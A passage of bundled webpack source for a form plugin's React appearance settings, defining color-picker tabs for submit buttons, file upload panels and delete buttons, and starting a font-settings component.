./src/form/components/appearance/colors/pagination-next.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class SubmitColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-background-static` }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-color-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-background-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#008FCA\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-color-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#008FCA\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-submit-color-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/submit.js","import React, { Component } from 'react';\nimport { translate, hasFieldWithAttribute } from '../../../../utils';\n\nimport Accordion from '../../../../settings/containers/accordion';\nimport SingleUploadPanelColors from './file-upload/upload-panel-single';\nimport MultiUploadPanelColors from './file-upload/upload-panel-multiple';\nimport MultiUploadFileColors from './file-upload/upload-file-multiple';\nimport FileDeleteButtonColors from './file-upload/upload-file-delete';\n\nexport default class UploadedFilesColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst hasSingleUpload = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'upload',\n\t\t\t'file-type',\n\t\t\t'single'\n\t\t) || hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'postdata',\n\t\t\t'post_image',\n\t\t\t'false'\n\t\t);\n\n\t\tconst hasMultiUpload = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'upload',\n\t\t\t'file-type',\n\t\t\t'multiple'\n\t\t);\n\n\t\treturn (\n\t\t\t<div className=\"sui-box\">\n\n\t\t\t\t{ hasSingleUpload &&\n\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Single File Uploader' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<SingleUploadPanelColors { ...this.props } />\n\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t</React.Fragment>\n\t\t\t\t}\n\n\t\t\t\t{ hasMultiUpload &&\n\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Multiple Files Uploader' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<MultiUploadPanelColors { ...this.props } />\n\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Uploaded File' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<MultiUploadFileColors { ...this.props } />\n\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t</React.Fragment>\n\t\t\t\t}\n\n\t\t\t\t<Accordion\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Uploaded File Delete Button' ) }\n\t\t\t\t>\n\t\t\t\t\t<FileDeleteButtonColors { ...this.props } />\n\t\t\t\t</Accordion>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/uploaded-files.js","import React, { Component } from 'react';\nimport { translate , getThemePrefix, getDefaultValue } from '../../../../../utils';\n\nimport ColorPicker from '../../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../../settings/containers/tabs';\nimport Container from '../../../../../settings/containers/container';\n\nexport default class SingleUploadPanelColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#1ABC9C\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-color-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-background-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#01A383\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-color-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#01A383\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-color-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/file-upload/upload-panel-single.js","import React, { Component } from 'react';\nimport { translate , getThemePrefix, getDefaultValue } from '../../../../../utils';\n\nimport Tabs from '../../../../../settings/containers/tabs';\nimport Container from '../../../../../settings/containers/container';\nimport ColorPicker from '../../../../../settings/inputs/color-picker';\n\nexport default class MultiUploadPanelColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-background-default`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-border-default`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Cloud icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-icon-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Message text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-text-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#666666\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Message link color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-link-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-background-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-border-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Cloud icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-icon-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"drop\"\n\t\t\t\t\tlabel={ translate( 'Drop' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-background-drop`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E1F6FF\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-border-drop`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Cloud icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-icon-drop`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-background-error`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ this.props.formDesign === 'flat'\n\t\t\t\t\t\t\t? translate( 'Left border color' )\n\t\t\t\t\t\t\t: translate( 'Border color' )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-border-error`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Cloud icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-panel-icon-error`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/file-upload/upload-panel-multiple.js","import React, { Component } from 'react';\nimport { translate , getThemePrefix, getDefaultValue } from '../../../../../utils';\n\nimport Tabs from '../../../../../settings/containers/tabs';\nimport Container from '../../../../../settings/containers/container';\nimport ColorPicker from '../../../../../settings/inputs/color-picker';\n\nexport default class MultiUploadFileColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'File preview border color' ) }\n\t\t\t\t\t\t\tdescription={ translate(\n\t\t\t\t\t\t\t\t'Default state border will not appear when file ' +\n\t\t\t\t\t\t\t\t'uploaded is an image.'\n\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-border-default`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'File preview background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-background-default`}\n\t\t\t\t\t\t\tdefaultValue={ this.props.formDesign === 'flat'\n\t\t\t\t\t\t\t\t? '#EDEDED'\n\t\t\t\t\t\t\t\t: '#FFFFFF'\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File preview icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-icon-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File name color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-name-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File size color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-size-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Loading icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-loader-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File preview border color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-border-error`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'File preview background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-background-error`}\n\t\t\t\t\t\t\tdefaultValue={ this.props.formDesign === 'flat'\n\t\t\t\t\t\t\t\t? '#EDEDED'\n\t\t\t\t\t\t\t\t: '#FFFFFF'\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File preview icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-preview-icon-error`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'File size icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiupload-file-error-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/file-upload/upload-file-multiple.js","import React, { Component } from 'react';\nimport { translate , getThemePrefix, getDefaultValue } from '../../../../../utils';\n\nimport ColorPicker from '../../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../../settings/containers/tabs';\nimport Container from '../../../../../settings/containers/container';\n\nexport default class FileDeleteButtonColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#00000000\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-background-static`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-color-static`}\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-background-hover`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-color-hover`}\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-background-active`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }button-upload-delete-color-active`}\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/file-upload/upload-file-delete.js","import React, { Component } from 'react';\nimport { translate, hasFieldType, hasFieldWithAttribute } from '../../../utils';\n\nimport Container from '../../../settings/containers/container';\nimport RadioTabs from '../../../settings/inputs/radio-tabs';\nimport Accordion from '../../../settings/containers/accordion';\nimport Empty from '../../../settings/containers/empty';\nimport FontSettings from '../settings/fonts';\nimport SettingsRow from '../../../settings/containers/settings-row';\nimport Tabs from '../../../settings/containers/tabs';\n\nexport default class Fonts extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst hasPagination = hasFieldType(\n\t\t\t'page-break',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasSection = hasFieldType(\n\t\t\t'section',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasSingleRadio = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'radio',\n\t\t\t'value_type',\n\t\t\t'radio'\n\t\t);\n\n\t\tconst hasSingleDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'select',\n\t\t\t'value_type',\n\t\t\t'single'\n\t\t);\n\n\t\tconst hasMultiCheckbox = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'checkbox',\n\t\t\t'value_type',\n\t\t\t'checkbox'\n\t\t);\n\n\t\tconst hasMultiSelect = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'select',\n\t\t\t'value_type',\n\t\t\t'multiselect'\n\t\t);\n\n\t\tconst hasDatePicker = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'date',\n\t\t\t'field_type',\n\t\t\t'picker'\n\t\t);\n\n\t\tconst hasDateDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'date',\n\t\t\t'field_type',\n\t\t\t'select'\n\t\t);\n\n\t\tconst hasTimeDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'time',\n\t\t\t'field_type',\n\t\t\t'select'\n\t\t) || hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'time',\n\t\t\t'time_type',\n\t\t\t'twelve'\n\t\t);\n\n\t\tconst hasAddresCountry = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'address',\n\t\t\t'address_country',\n\t\t\t'true'\n\t\t);\n\n\t\tconst hasNamePrefix = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'name',\n\t\t\t'prefix',\n\t\t\t'true'\n\t\t);\n\n\t\tconst hasGDPR = hasFieldType(\n\t\t\t'gdprcheckbox',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasCurrency = hasFieldType(\n\t\t\t'currency',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasSingleUpload = 